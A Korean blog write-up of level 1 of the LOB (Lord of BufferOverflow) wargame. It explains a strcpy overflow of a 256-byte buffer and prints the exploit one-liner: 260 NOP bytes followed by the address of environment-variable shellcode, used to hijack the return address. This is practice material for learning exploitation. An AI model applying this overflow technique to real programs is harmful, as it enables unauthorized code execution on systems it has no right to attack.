본문 바로가기
Security/Pwnable

LOB Level 1 gate

by J0DEV 2021. 8. 9.
반응형
ID : gate
PW : gate

(LOB는 telnet으로 접속합니다.)

 

 

 

gremlin 파일을 이용하여 공격을 해야할 것 같습니다.

 

소스코드를 보면

 

256바이트의 배열 하나가 선언 되어있습니다.

 

그리고 strcpy가 보입니다.

 

Level 1이라서 그런지 생각보다 간단한 문제입니다.

 

 

 

gdb를 사용하여 보면 총 256바이트의 메모리가 할당된 것을 알 수 있습니다. (0x100)

 

메모리 구조를 그려본다면

ret		4
sfp		4
buffer		256

이렇게 더미값이 없습니다.

 

 

공격방법을 생각하면

260바이트의 값을 nop으로 채워주고 ret부분에

환경변수로 등록해놓은 쉘코드의 주소를 넣어주면 되겠습니다.

 

./gremlin `python -c 'print "\x90"*260 + "주소"'`

 

 

쉘코드를 환경변수로 올려줍니다.

(스택이 유동적이므로 넉넉하게 200바이트의 nop을 넣어줍니다.)

그리고 getenv로 주소를 받아옵니다.

 

0xbffffe03을 받아 왔습니다.

 

 

이제 공격코드를 작성하면

 

./gremlin `python -c 'print "\x90"*260+"\x03\xfe\xff\xbf"'`

 

공격코드가 실행되어 익스플로잇 성공

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 3 cobolt  (0) 2021.08.09
LOB Level 2 gremlin  (0) 2021.08.09
FTZ Level 20  (0) 2021.08.09
FTZ Level 19  (0) 2021.08.09
FTZ Level 18  (0) 2021.08.09